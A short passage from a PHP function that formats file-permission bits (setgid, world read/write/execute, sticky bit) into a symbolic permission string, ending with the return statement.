            (($perms & 0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : '-'));

    return $info;
}
?>